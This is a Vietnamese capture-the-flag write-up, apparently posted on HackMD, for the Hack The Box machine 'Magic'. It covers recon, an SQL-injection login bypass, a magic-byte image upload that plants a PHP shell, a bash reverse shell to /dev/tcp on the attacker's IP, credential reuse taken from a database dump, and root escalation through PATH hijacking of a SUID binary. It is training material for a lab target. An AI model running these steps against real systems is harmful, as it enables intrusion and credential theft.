Magic - HackMD

![image](https://hackmd.io/_uploads/S1XEPvfcC.png) # Machine info and Comment ## Machine info [Link](https://app.hackthebox.com/machines/241/information) ## Comment Đây là một máy dựa vào lỗ hổng file upload để RCE sau đó tiến hành leo quyền dựa vào SUID và thao túng đường dẫn $PATH # Recon ## nmap Sau khi nmap ta scan được **2** port ssh và http ``` ┌──(kali㉿kali)-[~] └─$ sudo nmap -sS 10.10.10.185 [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-08 11:46 EDT Nmap scan report for 10.10.10.185 Host is up (0.27s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 3.06 seconds ``` Từ đây, ta sẽ scan tiếp 2 port này xem có gì để khai thác ``` ┌──(kali㉿kali)-[~] └─$ sudo nmap -p22,80 -sCV 10.10.10.185 [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-08 11:46 EDT Nmap scan report for 10.10.10.185 Host is up (0.27s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA) | 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA) |_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Magic Portfolio |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.29 seconds ``` ## Port 80 - http Truy cập vào trang web nó mặc định sẽ kết nối đến http://10.10.10.185/ Trang web chỉ có tính năng login và xem ảnh, ta sẽ chuyển đến trang login ![image](https://hackmd.io/_uploads/B1gG4iwG5R.png) ## Gobuster Để chắc chắn không có path nào bị ẩn có thể khai thác ``` ┌──(kali㉿kali)-[~] └─$ gobuster dir -u 10.10.10.185 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.185 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /images (Status: 301) /index.php (Status: 200) /login.php (Status: 200) /assets (Status: 301) /upload.php (Status: 302) /logout.php (Status: 302) /server-status (Status: 403) ``` # User flag Sử dụng câu truy vấn SQLi đơn giản và bypass được vào trang login: `a' or 1=1 -- ` **http://10.10.10.185/upload.php** ![image](https://hackmd.io/_uploads/Sk5E2vf5C.png) Tại giao diện http://10.10.10.185/upload.php nó cho phép cho ta upload 3 loại file ảnh **jpg, jpeg, png** ![image](https://hackmd.io/_uploads/SJP3nPM5C.png) Trước tiên sẽ thử up một file ảnh thông thường lên, thấy được thông báo ảnh sau khi upload lên thành công ![image](https://hackmd.io/_uploads/SkoQaPGqA.png) Khi quay lại trang chính ta sẽ thấy ảnh được up lên thành công và nằm ở **/images/uploads** ![image](https://hackmd.io/_uploads/HymO6Dzq0.png) ## File Upload ### Extension file Vì server chặn các file có thể chỉ mình `.php` nên ta sẽ up các file khác như `.phtml`, `php5`, `.php3` đều không được ![image](https://hackmd.io/_uploads/S15Tz_M90.png) ### Giả mạo đuôi file Đặt tên file là `a.php.png` và gửi lên server, một cảnh báo khác cũng xuất hiện ![image](https://hackmd.io/_uploads/SkZX7ufcC.png) ### Magic byte Một số server nhận là file ảnh bằng **header signature**. Việc đổi byte header hoặc chèn shell code cũng có thể giả mạo khiến server hiểu nó là file ảnh ![image](https://hackmd.io/_uploads/B1CiUOz5R.png) ![image](https://hackmd.io/_uploads/Hk9i6_z5R.png) Sau khi upload lên, bắt đầu chạy shell ![image](https://hackmd.io/_uploads/Sk-xCuzqR.png) Sử dụng `/bin/bash -c 'bash -i > /dev/tcp/10.10.14.93/1234 0>&1'` để có được reverse shell ![image](https://hackmd.io/_uploads/SJH7ZYM5R.png) ## Lateral Movement cd qua `home` để lấy user flag nhưng không có quyền đọc file, vì thế tiếp tục tìm xem có gì khac ![image](https://hackmd.io/_uploads/HJy8fYG5A.png) Tại `/var/www/Magic` ta tháy được 1 file db chứa thông tin của 1 database ``` ls assets db.php5 images index.php login.php logout.php upload.php cat db.php5 <?php class Database { private static $dbName = 'Magic' ; private static $dbHost = 'localhost' ; private static $dbUsername = 'theseus'; private static $dbUserPassword = 'iamkingtheseus'; private static $cont = null; public function __construct() { die('Init function is not allowed'); } public static function connect() { // One connection through whole application if ( null == self::$cont ) { try { self::$cont = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword); } catch(PDOException $e) { die($e->getMessage()); } } return self::$cont; } public static function disconnect() { self::$cont = null; } } ``` ### Mysqldump Mysqldump là một công cụ dòng lệnh được cung cấp bởi MySQL để sao lưu cơ sở dữ liệu. Việc có credential của người dùng sẽ giúp ta có thể xem được các câu truy vấn mà người dùng đã sử dụng ``` mysqldump --user=theseus --password=iamkingtheseus Magic -- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64) -- -- Host: localhost Database: Magic -- ------------------------------------------------------ -- Server version 5.7.29-0ubuntu0.18.04.1 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Table structure for table `login` -- DROP TABLE IF EXISTS `login`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `login` ( `id` int(6) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `password` varchar(100) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `username` (`username`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `login` -- LOCK TABLES `login` WRITE; /*!40000 ALTER TABLE `login` DISABLE KEYS */; INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng'); <SNIP> ``` Có một câu lệnh INSERT làm ta chú ý ``` INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng'); ``` Chuyển sang user khác bằng lệnh su ![image](https://hackmd.io/_uploads/r1n_vFzcA.png) Lỗi này xuất hiện vì khi sudo trong một môi trường không có quyền truy cập vào TTY (như khi chạy trong một script không tương tác hoặc qua một hệ thống tự động hóa), sudo không thể yêu cầu mật khẩu từ người dùng. sudo thường yêu cầu mật khẩu qua TTY để xác thực quyền truy cập. Để khắc phục ta dùng lệnh ``` python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@magic:/var/www/Magic$ su admin su admin No passwd entry for user 'admin' www-data@magic:/var/www/Magic$ su theseus su theseus Password: Th3s3usW4sK1ng theseus@magic:/var/www/Magic$ whoami whoami ``` ``` theseus@magic:~$ ls ls Desktop Downloads Pictures Templates Videos Documents Music Public user.txt theseus@magic:~$ cat user.txt cat user.txt 45bb545aacee94796********** ``` # Root flag Sử dụng lệnh để tìm SUID: `find / -type f -perm -04000 -ls 2>/dev/null` ![image](https://hackmd.io/_uploads/HkvMzqG5A.png) Ta sẽ dùng `/bin/sysinfo` để leo quyền ## /bin/sysinfo Các lệnh mà nó gọi để lấy thông tin hệ thống. ![image](https://hackmd.io/_uploads/S1_bo5MqR.png) Nhìn vào phần `CPU Info` thấy chương trình dùng `cat /proc/cpuinfo` thay vì `/bin/cat /proc/cpuinfo` . Thư mục `/bin` chứa nhị phân `cat` được bao gồm trong biến môi trường PATH của người dùng. Biến PATH được hệ thống sử dụng để xác định các thư mục cần tìm kiếm để xác định vị trí tệp nhị phân. ``` echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games theseus@magic:/tmp$ ``` Hệ điều hành lần lượt tìm kiếm các thư mục, bắt đầu từ thư mục đầu tiên. Trong trường hợp của chúng ta, thư mục đầu tiên mà HĐH sẽ tìm kiếm là `/usr/bin/local` . Nếu tập tin thực thi không được định vị ở đó, nó sẽ tiếp tục tìm kiếm trong thư mục tiếp theo, v.v. Hành vi này có thể bị lợi dụng bằng cách sửa đổi biến PATH để chứa một thư mục mà người dùng hiện tại của chúng tôi có thể ghi được. Người dùng được phép sửa đổi biến và thêm một thư mục. ## cat Tạo 1 file tên `cat`, content của nó do chúng ta quyết định, gán nó vào PATH variable. Khi binary có SUID được chạy (sysinfo), thì `cat` cũng được chạy với quyền root (do SUID này do Root gắn) Tạo một file tên cat, content của nó dùng để đọc flag ``` echo "strings /root/root.txt" > cat theseus@magic:~$ cat cat cat cat strings /root/root.txt ``` Sau đó kéo về /tmp/ của machine, Command leo quyền như sau: ``` theseus@magic:~$ mv cat /tmp mv cat /tmp theseus@magic:~$ cd /tmp cd /tmp theseus@magic:/tmp$ ls ls cat theseus@magic:/tmp$ chmod 777 cat chmod 777 cat theseus@magic:/tmp$ export PATH=/tmp:$PATH export PATH=/tmp:$PATH theseus@magic:/tmp$ sysinfo ``` ## Get flag Thông qua sysinfo thì được do nó có SUID, khi Path variable đã được gán, command chỉ là sysinfo, và kết quả: ![image](https://hackmd.io/_uploads/By20QqM9R.png) ![image](https://hackmd.io/_uploads/H179Scz9A.png)